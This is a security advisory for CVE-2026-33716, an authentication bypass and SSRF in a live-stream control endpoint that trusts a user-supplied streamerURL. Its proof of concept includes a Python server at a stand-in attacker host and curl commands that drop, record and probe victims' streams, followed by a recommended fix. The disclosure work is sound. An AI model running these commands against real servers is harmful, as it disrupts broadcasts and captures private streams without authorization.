CVE-2026-33716

Description

## Summary The standalone live stream control endpoint at `plugin/Live/standAloneFiles/control.json.php` accepts a user-supplied `streamerURL` parameter that overrides where the server sends token verification requests. An attacker can redirect token verification to a server they control that always returns `{"error": false}`, completely bypassing authentication. This grants unauthenticated control over any live stream on the platform, including dropping active publishers, starting/stopping recordings, and probing stream existence. ## Details The vulnerability exists because the `streamerURL` parameter is accepted directly from user input with no validation: **`plugin/Live/standAloneFiles/control.json.php:77-79`** — User input overrides server config: ```php if (!empty($_REQUEST['streamerURL'])) { $streamerURL = $_REQUEST['streamerURL']; } ``` **`plugin/Live/standAloneFiles/control.json.php:83-91`** — The user-controlled value is assigned to the request object: ```php $obj->streamerURL = $streamerURL; ``` **`plugin/Live/standAloneFiles/control.json.php:115-126`** — Token verification is sent to the attacker-controlled URL: ```php $verifyTokenURL = "{$obj->streamerURL}plugin/Live/verifyToken.json.php?token={$obj->token}"; // ... $content = file_get_contents($verifyTokenURL, false, stream_context_create($arrContextOptions)); ``` The legitimate `verifyToken.json.php` performs cryptographic token validation via `Live::decryptHash()` and checks token expiry (12-hour window). By redirecting verification to an attacker server, all of this is bypassed — the attacker's server simply responds with `{"error": false}`. After authentication is bypassed, the attacker can execute any of the four supported commands (lines 150-186): `record_start`, `record_stop`, `drop_publisher`, and `is_recording`, which issue control commands to the local NGINX RTMP control module. SSL verification is also explicitly disabled (lines 119-124), meaning the SSRF request will follow any attacker URL without certificate validation. Notably, the developers were aware of this exact attack pattern and fixed it in the sibling file `standAloneFiles/saveDVR.json.php` on 2026-03-19 with an explicit comment: *"SECURITY: User-supplied webSiteRootURL is intentionally NOT accepted. Allowing it would enable SSRF."* The same fix was not applied to `control.json.php`. ## PoC **Step 1:** Set up an attacker server that returns `{"error": false}` for all requests. ```bash # Minimal Python server on attacker machine (attacker.example.com:8888) python3 -c ' import http.server, json class H(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header("Content-Type","application/json") self.end_headers() self.wfile.write(json.dumps({"error": False}).encode()) def log_message(self, *a): pass http.server.HTTPServer(("0.0.0.0", 8888), H).serve_forever() ' ``` **Step 2:** Drop a victim's live stream (kill their broadcast): ```bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=drop_publisher&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/" ``` Expected response (authentication bypassed, command executed): ```json {"error":false,"msg":"","streamerURL":"http://attacker.example.com:8888/","token":"anything","command":"drop_publisher","app":"live","name":"VICTIM_STREAM_KEY","response":"","requestedURL":"http://localhost:8080/control/drop/publisher?app=live&name=VICTIM_STREAM_KEY"} ``` **Step 3:** Start unauthorized recording of a victim's stream: ```bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=record_start&name=VICTIM_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/" ``` **Step 4:** Probe whether a stream name is active: ```bash curl -s "https://target.example.com/plugin/Live/standAloneFiles/control.json.php?token=anything&command=is_recording&name=GUESS_STREAM_KEY&app=live&streamerURL=http://attacker.example.com:8888/" ``` ## Impact - **Denial of Service on Live Streams:** Any unauthenticated attacker can terminate any active live broadcast using `drop_publisher`, causing immediate disruption for streamers and viewers. - **Unauthorized Recording:** An attacker can start recording any live stream without authorization using `record_start`, potentially capturing private or sensitive content. - **Stream Enumeration:** The `is_recording` command allows probing for valid stream names. - **SSRF:** The server makes an outbound HTTP request to an attacker-controlled URL via `file_get_contents()`, which could be used to scan internal services or exfiltrate data via the request URL. - **No authentication required:** The entire attack is performed without any credentials. ## Recommended Fix Remove the `streamerURL` request parameter override entirely, matching the fix already applied in `saveDVR.json.php`. In `plugin/Live/standAloneFiles/control.json.php`, replace lines 77-79: ```php // BEFORE (vulnerable): if (!empty($_REQUEST['streamerURL'])) { $streamerURL = $_REQUEST['streamerURL']; } // AFTER (fixed): // SECURITY: User-supplied streamerURL is intentionally NOT accepted. // Allowing it would enable authentication bypass and SSRF via file_get_contents // on an attacker-controlled host. streamerURL MUST come from the configuration // file or be hard-coded in this file above. if (empty($streamerURL)) { error_log("control.json.php: streamerURL is not configured"); die(json_encode(['error' => true, 'msg' => 'Server not configured'])); } ```